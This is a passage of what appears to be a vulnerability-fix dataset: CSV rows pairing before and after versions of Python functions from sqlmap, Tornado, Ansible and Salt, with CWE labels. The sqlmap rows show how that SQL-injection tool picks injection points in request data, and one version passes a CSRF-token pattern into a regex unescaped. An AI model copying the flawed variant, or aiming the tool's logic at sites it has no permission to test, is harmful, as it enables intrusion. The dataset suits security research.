                    conf.data = re.sub(r""('(?P<name>[^']+)'\s*:\s*'[^']+)'"", functools.partial(process, repl=r""\g<1>%s'"" % kb.customInjectionMark), conf.data)
                    conf.data = re.sub(r""('(?P<name>[^']+)'\s*:\s*)(-?\d[\d\.]*\b)"", functools.partial(process, repl=r""\g<0>%s"" % kb.customInjectionMark), conf.data)

                kb.postHint = POST_HINT.JSON_LIKE

        elif re.search(ARRAY_LIKE_RECOGNITION_REGEX, conf.data):
            message = ""Array-like data found in %s data. "" % conf.method
            message += ""Do you want to process it? [Y/n/q] ""
            choice = readInput(message, default='Y').upper()

            if choice == 'Q':
                raise SqlmapUserQuitException
            elif choice == 'Y':
                if not (kb.processUserMarks and kb.customInjectionMark in conf.data):
                    conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER)
                    conf.data = re.sub(r""(=[^%s]+)"" % DEFAULT_GET_POST_DELIMITER, r""\g<1>%s"" % kb.customInjectionMark, conf.data)

                kb.postHint = POST_HINT.ARRAY_LIKE

        elif re.search(XML_RECOGNITION_REGEX, conf.data):
            message = ""SOAP/XML data found in %s data. "" % conf.method
            message += ""Do you want to process it? [Y/n/q] ""
            choice = readInput(message, default='Y').upper()

            if choice == 'Q':
                raise SqlmapUserQuitException
            elif choice == 'Y':
                if not (kb.processUserMarks and kb.customInjectionMark in conf.data):
                    conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data)
                    conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER)
                    conf.data = re.sub(r""(<(?P<name>[^>]+)( [^<]*)?>)([^<]+)(</\2)"", functools.partial(process, repl=r""\g<1>\g<4>%s\g<5>"" % kb.customInjectionMark), conf.data)

                kb.postHint = POST_HINT.SOAP if ""soap"" in conf.data.lower() else POST_HINT.XML

        elif re.search(MULTIPART_RECOGNITION_REGEX, conf.data):
            message = ""Multipart-like data found in %s data. "" % conf.method
            message += ""Do you want to process it? [Y/n/q] ""
            choice = readInput(message, default='Y').upper()

            if choice == 'Q':
                raise SqlmapUserQuitException
            elif choice == 'Y':
                if not (kb.processUserMarks and kb.customInjectionMark in conf.data):
                    conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data)
                    conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER)
                    conf.data = re.sub(r""(?si)((Content-Disposition[^\n]+?name\s*=\s*[\""']?(?P<name>[^\""'\r\n]+)[\""']?).+?)(((\r)?\n)+--)"", functools.partial(process, repl=r""\g<1>%s\g<4>"" % kb.customInjectionMark), conf.data)

                kb.postHint = POST_HINT.MULTIPART

        if not kb.postHint:
            if kb.customInjectionMark in conf.data:  # later processed
                pass
            else:
                place = PLACE.POST

                conf.parameters[place] = conf.data
                paramDict = paramToDict(place, conf.data)

                if paramDict:
                    conf.paramDict[place] = paramDict
                    testableParameters = True
        else:
            if kb.customInjectionMark not in conf.data:  # in case that no usable parameter values has been found
                conf.parameters[PLACE.POST] = conf.data

    kb.processUserMarks = True if (kb.postHint and kb.customInjectionMark in (conf.data or """")) else kb.processUserMarks

    if re.search(URI_INJECTABLE_REGEX, conf.url, re.I) and not any(place in conf.parameters for place in (PLACE.GET, PLACE.POST)) and not kb.postHint and kb.customInjectionMark not in (conf.data or """") and conf.url.startswith(""http""):
        warnMsg = ""you've provided target URL without any GET ""
        warnMsg += ""parameters (e.g. 'http://www.site.com/article.php?id=1') ""
        warnMsg += ""and without providing any POST parameters ""
        warnMsg += ""through option '--data'""
        logger.warn(warnMsg)

        message = ""do you want to try URI injections ""
        message += ""in the target URL itself? [Y/n/q] ""
        choice = readInput(message, default='Y').upper()

        if choice == 'Q':
            raise SqlmapUserQuitException
        elif choice == 'Y':
            conf.url = ""%s%s"" % (conf.url, kb.customInjectionMark)
            kb.processUserMarks = True

    for place, value in ((PLACE.URI, conf.url), (PLACE.CUSTOM_POST, conf.data), (PLACE.CUSTOM_HEADER, str(conf.httpHeaders))):
        _ = re.sub(PROBLEMATIC_CUSTOM_INJECTION_PATTERNS, """", value or """") if place == PLACE.CUSTOM_HEADER else value or """"
        if kb.customInjectionMark in _:
            if kb.processUserMarks is None:
                lut = {PLACE.URI: '-u', PLACE.CUSTOM_POST: '--data', PLACE.CUSTOM_HEADER: '--headers/--user-agent/--referer/--cookie'}
                message = ""custom injection marker ('%s') found in option "" % kb.customInjectionMark
                message += ""'%s'. Do you want to process it? [Y/n/q] "" % lut[place]
                choice = readInput(message, default='Y').upper()

                if choice == 'Q':
                    raise SqlmapUserQuitException
                else:
                    kb.processUserMarks = choice == 'Y'

                    if kb.processUserMarks:
                        kb.testOnlyCustom = True

                        if ""=%s"" % kb.customInjectionMark in _:
                            warnMsg = ""it seems that you've provided empty parameter value(s) ""
                            warnMsg += ""for testing. Please, always use only valid parameter values ""
                            warnMsg += ""so sqlmap could be able to run properly""
                            logger.warn(warnMsg)

            if not kb.processUserMarks:
                if place == PLACE.URI:
                    query = urlparse.urlsplit(value).query
                    if query:
                        parameters = conf.parameters[PLACE.GET] = query
                        paramDict = paramToDict(PLACE.GET, parameters)

                        if paramDict:
                            conf.url = conf.url.split('?')[0]
                            conf.paramDict[PLACE.GET] = paramDict
                            testableParameters = True
                elif place == PLACE.CUSTOM_POST:
                    conf.parameters[PLACE.POST] = conf.data
                    paramDict = paramToDict(PLACE.POST, conf.data)

                    if paramDict:
                        conf.paramDict[PLACE.POST] = paramDict
                        testableParameters = True

            else:
                conf.parameters[place] = value
                conf.paramDict[place] = OrderedDict()

                if place == PLACE.CUSTOM_HEADER:
                    for index in xrange(len(conf.httpHeaders)):
                        header, value = conf.httpHeaders[index]
                        if kb.customInjectionMark in re.sub(PROBLEMATIC_CUSTOM_INJECTION_PATTERNS, """", value):
                            parts = value.split(kb.customInjectionMark)
                            for i in xrange(len(parts) - 1):
                                conf.paramDict[place][""%s #%d%s"" % (header, i + 1, kb.customInjectionMark)] = ""%s,%s"" % (header, """".join(""%s%s"" % (parts[j], kb.customInjectionMark if i == j else """") for j in xrange(len(parts))))
                            conf.httpHeaders[index] = (header, value.replace(kb.customInjectionMark, """"))
                else:
                    parts = value.split(kb.customInjectionMark)

                    for i in xrange(len(parts) - 1):
                        name = None
                        if kb.postHint:
                            for ending, _ in hintNames:
                                if parts[i].endswith(ending):
                                    name = ""%s %s"" % (kb.postHint, _)
                                    break
                        if name is None:
                            name = ""%s#%s%s"" % ((""%s "" % kb.postHint) if kb.postHint else """", i + 1, kb.customInjectionMark)
                        conf.paramDict[place][name] = """".join(""%s%s"" % (parts[j], kb.customInjectionMark if i == j else """") for j in xrange(len(parts)))

                    if place == PLACE.URI and PLACE.GET in conf.paramDict:
                        del conf.paramDict[PLACE.GET]
                    elif place == PLACE.CUSTOM_POST and PLACE.POST in conf.paramDict:
                        del conf.paramDict[PLACE.POST]

                testableParameters = True

    if kb.processUserMarks:
        for item in (""url"", ""data"", ""agent"", ""referer"", ""cookie""):
            if conf.get(item):
                conf[item] = conf[item].replace(kb.customInjectionMark, """")

    # Perform checks on Cookie parameters
    if conf.cookie:
        conf.parameters[PLACE.COOKIE] = conf.cookie
        paramDict = paramToDict(PLACE.COOKIE, conf.cookie)

        if paramDict:
            conf.paramDict[PLACE.COOKIE] = paramDict
            testableParameters = True

    # Perform checks on header values
    if conf.httpHeaders:
        for httpHeader, headerValue in list(conf.httpHeaders):
            # Url encoding of the header values should be avoided
            # Reference: http://stackoverflow.com/questions/5085904/is-ok-to-urlencode-the-value-in-headerlocation-value

            if httpHeader.upper() == HTTP_HEADER.USER_AGENT.upper():
                conf.parameters[PLACE.USER_AGENT] = urldecode(headerValue)

                condition = any((not conf.testParameter, intersect(conf.testParameter, USER_AGENT_ALIASES, True)))

                if condition:
                    conf.paramDict[PLACE.USER_AGENT] = {PLACE.USER_AGENT: headerValue}
                    testableParameters = True

            elif httpHeader.upper() == HTTP_HEADER.REFERER.upper():
                conf.parameters[PLACE.REFERER] = urldecode(headerValue)

                condition = any((not conf.testParameter, intersect(conf.testParameter, REFERER_ALIASES, True)))

                if condition:
                    conf.paramDict[PLACE.REFERER] = {PLACE.REFERER: headerValue}
                    testableParameters = True

            elif httpHeader.upper() == HTTP_HEADER.HOST.upper():
                conf.parameters[PLACE.HOST] = urldecode(headerValue)

                condition = any((not conf.testParameter, intersect(conf.testParameter, HOST_ALIASES, True)))

                if condition:
                    conf.paramDict[PLACE.HOST] = {PLACE.HOST: headerValue}
                    testableParameters = True

            else:
                condition = intersect(conf.testParameter, [httpHeader], True)

                if condition:
                    conf.parameters[PLACE.CUSTOM_HEADER] = str(conf.httpHeaders)
                    conf.paramDict[PLACE.CUSTOM_HEADER] = {httpHeader: ""%s,%s%s"" % (httpHeader, headerValue, kb.customInjectionMark)}
                    conf.httpHeaders = [(_[0], _[1].replace(kb.customInjectionMark, """")) for _ in conf.httpHeaders]
                    testableParameters = True

    if not conf.parameters:
        errMsg = ""you did not provide any GET, POST and Cookie ""
        errMsg += ""parameter, neither an User-Agent, Referer or Host header value""
        raise SqlmapGenericException(errMsg)

    elif not testableParameters:
        errMsg = ""all testable parameters you provided are not present ""
        errMsg += ""within the given request data""
        raise SqlmapGenericException(errMsg)

    if conf.csrfToken:
        if not any(re.search(conf.csrfToken, ' '.join(_), re.I) for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}))) and not re.search(r""\b%s\b"" % conf.csrfToken, conf.data or """") and conf.csrfToken not in set(_[0].lower() for _ in conf.httpHeaders) and conf.csrfToken not in conf.paramDict.get(PLACE.COOKIE, {}):
            errMsg = ""anti-CSRF token parameter '%s' not "" % conf.csrfToken._original
            errMsg += ""found in provided GET, POST, Cookie or header values""
            raise SqlmapGenericException(errMsg)
    else:
        for place in (PLACE.GET, PLACE.POST, PLACE.COOKIE):
            if conf.csrfToken:
                break

            for parameter in conf.paramDict.get(place, {}):
                if any(parameter.lower().count(_) for _ in CSRF_TOKEN_PARAMETER_INFIXES):
                    message = ""%s parameter '%s' appears to hold anti-CSRF token. "" % (place, parameter)
                    message += ""Do you want sqlmap to automatically update it in further requests? [y/N] ""

                    if readInput(message, default='N', boolean=True):
                        class _(unicode):
                            pass
                        conf.csrfToken = _(re.escape(getUnicode(parameter)))
                        conf.csrfToken._original = getUnicode(parameter)
                        break",,sqlmapproject/sqlmap,91348b28b47bccbe9dbd50ed81bc8e8cc329bc4f,"def _setRequestParams():
    """"""
    Check and set the parameters and perform checks on 'data' option for
    HTTP method POST.
    """"""

    if conf.direct:
        conf.parameters[None] = ""direct connection""
        return

    hintNames = []
    testableParameters = False

    # Perform checks on GET parameters
    if conf.parameters.get(PLACE.GET):
        parameters = conf.parameters[PLACE.GET]
        paramDict = paramToDict(PLACE.GET, parameters)

        if paramDict:
            conf.paramDict[PLACE.GET] = paramDict
            testableParameters = True

    # Perform checks on POST parameters
    if conf.method == HTTPMETHOD.POST and conf.data is None:
        logger.warn(""detected empty POST body"")
        conf.data = """"

    if conf.data is not None:
        conf.method = HTTPMETHOD.POST if not conf.method or conf.method == HTTPMETHOD.GET else conf.method

        def process(match, repl):
            retVal = match.group(0)

            if not (conf.testParameter and match.group(""name"") not in conf.testParameter):
                retVal = repl
                while True:
                    _ = re.search(r""\\g<([^>]+)>"", retVal)
                    if _:
                        retVal = retVal.replace(_.group(0), match.group(int(_.group(1)) if _.group(1).isdigit() else _.group(1)))
                    else:
                        break
                if kb.customInjectionMark in retVal:
                    hintNames.append((retVal.split(kb.customInjectionMark)[0], match.group(""name"")))
            return retVal

        if kb.processUserMarks is None and kb.customInjectionMark in conf.data:
            message = ""custom injection marker ('%s') found in option "" % kb.customInjectionMark
            message += ""'--data'. Do you want to process it? [Y/n/q] ""
            choice = readInput(message, default='Y').upper()

            if choice == 'Q':
                raise SqlmapUserQuitException
            else:
                kb.processUserMarks = choice == 'Y'

                if kb.processUserMarks:
                    kb.testOnlyCustom = True

        if re.search(JSON_RECOGNITION_REGEX, conf.data):
            message = ""JSON data found in %s data. "" % conf.method
            message += ""Do you want to process it? [Y/n/q] ""
            choice = readInput(message, default='Y').upper()

            if choice == 'Q':
                raise SqlmapUserQuitException
            elif choice == 'Y':
                if not (kb.processUserMarks and kb.customInjectionMark in conf.data):
                    conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data)
                    conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER)
                    conf.data = re.sub(r'(""(?P<name>[^""]+)""\s*:\s*"".+?)""(?<!\\"")', functools.partial(process, repl=r'\g<1>%s""' % kb.customInjectionMark), conf.data)
                    conf.data = re.sub(r'(""(?P<name>[^""]+)""\s*:\s*)(-?\d[\d\.]*)\b', functools.partial(process, repl=r'\g<1>\g<3>%s' % kb.customInjectionMark), conf.data)
                    conf.data = re.sub(r'(""(?P<name>[^""]+)""\s*:\s*)((true|false|null))\b', functools.partial(process, repl=r'\g<1>\g<3>%s' % kb.customInjectionMark), conf.data)
                    match = re.search(r'(?P<name>[^""]+)""\s*:\s*\[([^\]]+)\]', conf.data)
                    if match and not (conf.testParameter and match.group(""name"") not in conf.testParameter):
                        _ = match.group(2)
                        _ = re.sub(r'(""[^""]+)""', r'\g<1>%s""' % kb.customInjectionMark, _)
                        _ = re.sub(r'(\A|,|\s+)(-?\d[\d\.]*\b)', r'\g<0>%s' % kb.customInjectionMark, _)
                        conf.data = conf.data.replace(match.group(0), match.group(0).replace(match.group(2), _))

                kb.postHint = POST_HINT.JSON

        elif re.search(JSON_LIKE_RECOGNITION_REGEX, conf.data):
            message = ""JSON-like data found in %s data. "" % conf.method
            message += ""Do you want to process it? [Y/n/q] ""
            choice = readInput(message, default='Y').upper()

            if choice == 'Q':
                raise SqlmapUserQuitException
            elif choice == 'Y':
                if not (kb.processUserMarks and kb.customInjectionMark in conf.data):
                    conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data)
                    conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER)
                    conf.data = re.sub(r""('(?P<name>[^']+)'\s*:\s*'[^']+)'"", functools.partial(process, repl=r""\g<1>%s'"" % kb.customInjectionMark), conf.data)
                    conf.data = re.sub(r""('(?P<name>[^']+)'\s*:\s*)(-?\d[\d\.]*\b)"", functools.partial(process, repl=r""\g<0>%s"" % kb.customInjectionMark), conf.data)

                kb.postHint = POST_HINT.JSON_LIKE

        elif re.search(ARRAY_LIKE_RECOGNITION_REGEX, conf.data):
            message = ""Array-like data found in %s data. "" % conf.method
            message += ""Do you want to process it? [Y/n/q] ""
            choice = readInput(message, default='Y').upper()

            if choice == 'Q':
                raise SqlmapUserQuitException
            elif choice == 'Y':
                if not (kb.processUserMarks and kb.customInjectionMark in conf.data):
                    conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER)
                    conf.data = re.sub(r""(=[^%s]+)"" % DEFAULT_GET_POST_DELIMITER, r""\g<1>%s"" % kb.customInjectionMark, conf.data)

                kb.postHint = POST_HINT.ARRAY_LIKE

        elif re.search(XML_RECOGNITION_REGEX, conf.data):
            message = ""SOAP/XML data found in %s data. "" % conf.method
            message += ""Do you want to process it? [Y/n/q] ""
            choice = readInput(message, default='Y').upper()

            if choice == 'Q':
                raise SqlmapUserQuitException
            elif choice == 'Y':
                if not (kb.processUserMarks and kb.customInjectionMark in conf.data):
                    conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data)
                    conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER)
                    conf.data = re.sub(r""(<(?P<name>[^>]+)( [^<]*)?>)([^<]+)(</\2)"", functools.partial(process, repl=r""\g<1>\g<4>%s\g<5>"" % kb.customInjectionMark), conf.data)

                kb.postHint = POST_HINT.SOAP if ""soap"" in conf.data.lower() else POST_HINT.XML

        elif re.search(MULTIPART_RECOGNITION_REGEX, conf.data):
            message = ""Multipart-like data found in %s data. "" % conf.method
            message += ""Do you want to process it? [Y/n/q] ""
            choice = readInput(message, default='Y').upper()

            if choice == 'Q':
                raise SqlmapUserQuitException
            elif choice == 'Y':
                if not (kb.processUserMarks and kb.customInjectionMark in conf.data):
                    conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data)
                    conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER)
                    conf.data = re.sub(r""(?si)((Content-Disposition[^\n]+?name\s*=\s*[\""']?(?P<name>[^\""'\r\n]+)[\""']?).+?)(((\r)?\n)+--)"", functools.partial(process, repl=r""\g<1>%s\g<4>"" % kb.customInjectionMark), conf.data)

                kb.postHint = POST_HINT.MULTIPART

        if not kb.postHint:
            if kb.customInjectionMark in conf.data:  # later processed
                pass
            else:
                place = PLACE.POST

                conf.parameters[place] = conf.data
                paramDict = paramToDict(place, conf.data)

                if paramDict:
                    conf.paramDict[place] = paramDict
                    testableParameters = True
        else:
            if kb.customInjectionMark not in conf.data:  # in case that no usable parameter values has been found
                conf.parameters[PLACE.POST] = conf.data

    kb.processUserMarks = True if (kb.postHint and kb.customInjectionMark in (conf.data or """")) else kb.processUserMarks

    if re.search(URI_INJECTABLE_REGEX, conf.url, re.I) and not any(place in conf.parameters for place in (PLACE.GET, PLACE.POST)) and not kb.postHint and kb.customInjectionMark not in (conf.data or """") and conf.url.startswith(""http""):
        warnMsg = ""you've provided target URL without any GET ""
        warnMsg += ""parameters (e.g. 'http://www.site.com/article.php?id=1') ""
        warnMsg += ""and without providing any POST parameters ""
        warnMsg += ""through option '--data'""
        logger.warn(warnMsg)

        message = ""do you want to try URI injections ""
        message += ""in the target URL itself? [Y/n/q] ""
        choice = readInput(message, default='Y').upper()

        if choice == 'Q':
            raise SqlmapUserQuitException
        elif choice == 'Y':
            conf.url = ""%s%s"" % (conf.url, kb.customInjectionMark)
            kb.processUserMarks = True

    for place, value in ((PLACE.URI, conf.url), (PLACE.CUSTOM_POST, conf.data), (PLACE.CUSTOM_HEADER, str(conf.httpHeaders))):
        _ = re.sub(PROBLEMATIC_CUSTOM_INJECTION_PATTERNS, """", value or """") if place == PLACE.CUSTOM_HEADER else value or """"
        if kb.customInjectionMark in _:
            if kb.processUserMarks is None:
                lut = {PLACE.URI: '-u', PLACE.CUSTOM_POST: '--data', PLACE.CUSTOM_HEADER: '--headers/--user-agent/--referer/--cookie'}
                message = ""custom injection marker ('%s') found in option "" % kb.customInjectionMark
                message += ""'%s'. Do you want to process it? [Y/n/q] "" % lut[place]
                choice = readInput(message, default='Y').upper()

                if choice == 'Q':
                    raise SqlmapUserQuitException
                else:
                    kb.processUserMarks = choice == 'Y'

                    if kb.processUserMarks:
                        kb.testOnlyCustom = True

                        if ""=%s"" % kb.customInjectionMark in _:
                            warnMsg = ""it seems that you've provided empty parameter value(s) ""
                            warnMsg += ""for testing. Please, always use only valid parameter values ""
                            warnMsg += ""so sqlmap could be able to run properly""
                            logger.warn(warnMsg)

            if not kb.processUserMarks:
                if place == PLACE.URI:
                    query = urlparse.urlsplit(value).query
                    if query:
                        parameters = conf.parameters[PLACE.GET] = query
                        paramDict = paramToDict(PLACE.GET, parameters)

                        if paramDict:
                            conf.url = conf.url.split('?')[0]
                            conf.paramDict[PLACE.GET] = paramDict
                            testableParameters = True
                elif place == PLACE.CUSTOM_POST:
                    conf.parameters[PLACE.POST] = conf.data
                    paramDict = paramToDict(PLACE.POST, conf.data)

                    if paramDict:
                        conf.paramDict[PLACE.POST] = paramDict
                        testableParameters = True

            else:
                conf.parameters[place] = value
                conf.paramDict[place] = OrderedDict()

                if place == PLACE.CUSTOM_HEADER:
                    for index in xrange(len(conf.httpHeaders)):
                        header, value = conf.httpHeaders[index]
                        if kb.customInjectionMark in re.sub(PROBLEMATIC_CUSTOM_INJECTION_PATTERNS, """", value):
                            parts = value.split(kb.customInjectionMark)
                            for i in xrange(len(parts) - 1):
                                conf.paramDict[place][""%s #%d%s"" % (header, i + 1, kb.customInjectionMark)] = ""%s,%s"" % (header, """".join(""%s%s"" % (parts[j], kb.customInjectionMark if i == j else """") for j in xrange(len(parts))))
                            conf.httpHeaders[index] = (header, value.replace(kb.customInjectionMark, """"))
                else:
                    parts = value.split(kb.customInjectionMark)

                    for i in xrange(len(parts) - 1):
                        name = None
                        if kb.postHint:
                            for ending, _ in hintNames:
                                if parts[i].endswith(ending):
                                    name = ""%s %s"" % (kb.postHint, _)
                                    break
                        if name is None:
                            name = ""%s#%s%s"" % ((""%s "" % kb.postHint) if kb.postHint else """", i + 1, kb.customInjectionMark)
                        conf.paramDict[place][name] = """".join(""%s%s"" % (parts[j], kb.customInjectionMark if i == j else """") for j in xrange(len(parts)))

                    if place == PLACE.URI and PLACE.GET in conf.paramDict:
                        del conf.paramDict[PLACE.GET]
                    elif place == PLACE.CUSTOM_POST and PLACE.POST in conf.paramDict:
                        del conf.paramDict[PLACE.POST]

                testableParameters = True

    if kb.processUserMarks:
        for item in (""url"", ""data"", ""agent"", ""referer"", ""cookie""):
            if conf.get(item):
                conf[item] = conf[item].replace(kb.customInjectionMark, """")

    # Perform checks on Cookie parameters
    if conf.cookie:
        conf.parameters[PLACE.COOKIE] = conf.cookie
        paramDict = paramToDict(PLACE.COOKIE, conf.cookie)

        if paramDict:
            conf.paramDict[PLACE.COOKIE] = paramDict
            testableParameters = True

    # Perform checks on header values
    if conf.httpHeaders:
        for httpHeader, headerValue in list(conf.httpHeaders):
            # Url encoding of the header values should be avoided
            # Reference: http://stackoverflow.com/questions/5085904/is-ok-to-urlencode-the-value-in-headerlocation-value

            if httpHeader.upper() == HTTP_HEADER.USER_AGENT.upper():
                conf.parameters[PLACE.USER_AGENT] = urldecode(headerValue)

                condition = any((not conf.testParameter, intersect(conf.testParameter, USER_AGENT_ALIASES, True)))

                if condition:
                    conf.paramDict[PLACE.USER_AGENT] = {PLACE.USER_AGENT: headerValue}
                    testableParameters = True

            elif httpHeader.upper() == HTTP_HEADER.REFERER.upper():
                conf.parameters[PLACE.REFERER] = urldecode(headerValue)

                condition = any((not conf.testParameter, intersect(conf.testParameter, REFERER_ALIASES, True)))

                if condition:
                    conf.paramDict[PLACE.REFERER] = {PLACE.REFERER: headerValue}
                    testableParameters = True

            elif httpHeader.upper() == HTTP_HEADER.HOST.upper():
                conf.parameters[PLACE.HOST] = urldecode(headerValue)

                condition = any((not conf.testParameter, intersect(conf.testParameter, HOST_ALIASES, True)))

                if condition:
                    conf.paramDict[PLACE.HOST] = {PLACE.HOST: headerValue}
                    testableParameters = True

            else:
                condition = intersect(conf.testParameter, [httpHeader], True)

                if condition:
                    conf.parameters[PLACE.CUSTOM_HEADER] = str(conf.httpHeaders)
                    conf.paramDict[PLACE.CUSTOM_HEADER] = {httpHeader: ""%s,%s%s"" % (httpHeader, headerValue, kb.customInjectionMark)}
                    conf.httpHeaders = [(_[0], _[1].replace(kb.customInjectionMark, """")) for _ in conf.httpHeaders]
                    testableParameters = True

    if not conf.parameters:
        errMsg = ""you did not provide any GET, POST and Cookie ""
        errMsg += ""parameter, neither an User-Agent, Referer or Host header value""
        raise SqlmapGenericException(errMsg)

    elif not testableParameters:
        errMsg = ""all testable parameters you provided are not present ""
        errMsg += ""within the given request data""
        raise SqlmapGenericException(errMsg)

    if conf.csrfToken:
        if not any(re.search(conf.csrfToken, ' '.join(_), re.I) for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}))) and not re.search(r""\b%s\b"" % re.escape(conf.csrfToken), conf.data or """") and conf.csrfToken not in set(_[0].lower() for _ in conf.httpHeaders) and conf.csrfToken not in conf.paramDict.get(PLACE.COOKIE, {}):
            errMsg = ""anti-CSRF token parameter '%s' not "" % conf.csrfToken._original
            errMsg += ""found in provided GET, POST, Cookie or header values""
            raise SqlmapGenericException(errMsg)
    else:
        for place in (PLACE.GET, PLACE.POST, PLACE.COOKIE):
            if conf.csrfToken:
                break

            for parameter in conf.paramDict.get(place, {}):
                if any(parameter.lower().count(_) for _ in CSRF_TOKEN_PARAMETER_INFIXES):
                    message = ""%s parameter '%s' appears to hold anti-CSRF token. "" % (place, parameter)
                    message += ""Do you want sqlmap to automatically update it in further requests? [y/N] ""

                    if readInput(message, default='N', boolean=True):
                        class _(unicode):
                            pass
                        conf.csrfToken = _(re.escape(getUnicode(parameter)))
                        conf.csrfToken._original = getUnicode(parameter)
                        break"
functions_for_tornado_with_cwe.csv,UNKNOWN,UNKNOWN,tornado/web.py,0,"def check_xsrf_cookie(self) -> None:
        """"""Verifies that the ``_xsrf`` cookie matches the ``_xsrf`` argument.

        To prevent cross-site request forgery, we set an ``_xsrf``
        cookie and include the same value as a non-cookie
        field with all ``POST`` requests. If the two do not match, we
        reject the form submission as a potential forgery.

        The ``_xsrf`` value may be set as either a form field named ``_xsrf``
        or in a custom HTTP header named ``X-XSRFToken`` or ``X-CSRFToken``
        (the latter is accepted for compatibility with Django).

        See http://en.wikipedia.org/wiki/Cross-site_request_forgery

        .. versionchanged:: 3.2.2
           Added support for cookie version 2.  Both versions 1 and 2 are
           supported.
        """"""
        # Prior to release 1.1.1, this check was ignored if the HTTP header
        # ``X-Requested-With: XMLHTTPRequest`` was present.  This exception
        # has been shown to be insecure and has been removed.  For more
        # information please see
        # http://www.djangoproject.com/weblog/2011/feb/08/security/
        # http://weblog.rubyonrails.org/2011/2/8/csrf-protection-bypass-in-ruby-on-rails
        input_token = (
            self.get_argument(""_xsrf"", None)
            or self.request.headers.get(""X-Xsrftoken"")
            or self.request.headers.get(""X-Csrftoken"")
        )
        if not input_token:
            raise HTTPError(403, ""'_xsrf' argument missing from POST"")
        _, token, _ = self._decode_xsrf_token(input_token)
        _, expected_token, _ = self._get_raw_xsrf_token()
        if not token:
            raise HTTPError(403, ""'_xsrf' argument has invalid format"")
        if not hmac.compare_digest(utf8(token), utf8(expected_token)):
            raise HTTPError(403, ""XSRF cookie does not match POST argument"")",CWE-Unknown,tornadoweb/tornado,e7dff512f8329dfc92590f144abbeaff55fce6ad,"def check_xsrf_cookie(self) -> None:
        """"""Verifies that the ``_xsrf`` cookie matches the ``_xsrf`` argument.

        To prevent cross-site request forgery, we set an ``_xsrf``
        cookie and include the same value as a non-cookie
        field with all ``POST`` requests. If the two do not match, we
        reject the form submission as a potential forgery.

        The ``_xsrf`` value may be set as either a form field named ``_xsrf``
        or in a custom HTTP header named ``X-XSRFToken`` or ``X-CSRFToken``
        (the latter is accepted for compatibility with Django).

        See http://en.wikipedia.org/wiki/Cross-site_request_forgery

        .. versionchanged:: 3.2.2
           Added support for cookie version 2.  Both versions 1 and 2 are
           supported.
        """"""
        # Prior to release 1.1.1, this check was ignored if the HTTP header
        # ``X-Requested-With: XMLHTTPRequest`` was present.  This exception
        # has been shown to be insecure and has been removed.  For more
        # information please see
        # http://www.djangoproject.com/weblog/2011/feb/08/security/
        # http://weblog.rubyonrails.org/2011/2/8/csrf-protection-bypass-in-ruby-on-rails
        token = (
            self.get_argument(""_xsrf"", None)
            or self.request.headers.get(""X-Xsrftoken"")
            or self.request.headers.get(""X-Csrftoken"")
        )
        if not token:
            raise HTTPError(403, ""'_xsrf' argument missing from POST"")
        _, token, _ = self._decode_xsrf_token(token)
        _, expected_token, _ = self._get_raw_xsrf_token()
        if not token:
            raise HTTPError(403, ""'_xsrf' argument has invalid format"")
        if not hmac.compare_digest(utf8(token), utf8(expected_token)):
            raise HTTPError(403, ""XSRF cookie does not match POST argument"")"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/plugins/shell/__init__.py,0,"def build_module_command(self, env_string, shebang, cmd, arg_path=None):
        env_string = env_string.strip()
        if env_string:
            env_string += ' '

        if shebang is None:
            shebang = ''

        cmd_parts = [
            shebang.removeprefix('#!').strip(),
            cmd.strip(),
            arg_path,
        ]

        cleaned_up_cmd = self.join(
            stripped_cmd_part for raw_cmd_part in cmd_parts
            if raw_cmd_part and (stripped_cmd_part := raw_cmd_part.strip())
        )
        return ''.join((env_string, cleaned_up_cmd))",,ansible/ansible,a8e4106c4748995ff4e6b91e84d7692b654b721f,"def build_module_command(self, env_string, shebang, cmd, arg_path=None):
        env_string = env_string.strip()
        if env_string:
            env_string += ' '

        if shebang is None:
            shebang = ''

        cmd_parts = [
            shebang.removeprefix('#!').strip(),
            cmd.strip(),
            arg_path,
        ]

        return f'{env_string}%s' % self.join(cps for cp in cmd_parts if cp and (cps := cp.strip()))"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/modules/win_pkg.py,0,"def upgrade_available(name, **kwargs):
    '''
    Check whether or not an upgrade is available for a given package

    Args:
        name (str): The name of a single package

    Kwargs:
        refresh (bool): Refresh package metadata. Default ``True``
        saltenv (str): The salt environment. Default ``base``

    Returns:
        bool: True if new version available, otherwise False

    CLI Example:

    .. code-block:: bash

        salt '*' pkg.upgrade_available <package name>
    '''
    saltenv = kwargs.get('saltenv', 'base')
    # Refresh before looking for the latest version available,
    # same default as latest_version
    refresh = salt.utils.is_true(kwargs.get('refresh', True))
    # if latest_version returns blank, the latest version is already installed or
    # their is no package definition. This is a salt standard which could be improved.
    return latest_version(name, saltenv=saltenv, refresh=refresh) != ''",,saltstack/salt,b46f818a57cfca14e4857576b8abe2b1cc4b98c6,"def upgrade_available(name, **kwargs):
    '''
    Check whether or not an upgrade is available for a given package

    Args:
        name (str): The name of a single package

    Kwargs:
        refresh (bool): Refresh package metadata. Default ``True``
        saltenv (str): The salt environment. Default ``base``

    Returns:
        bool: True if new version available, otherwise False

    CLI Example:

    .. code-block:: bash

        salt '*' pkg.upgrade_available <package name>
    '''
    saltenv = kwargs.get('saltenv', 'base')
    # Refresh before looking for the latest version available,
    # same default as latest_version
    refresh = salt.utils.is_true(kwargs.get('refresh', True))

    # if latest_version returns blank, the latest version is already installed or
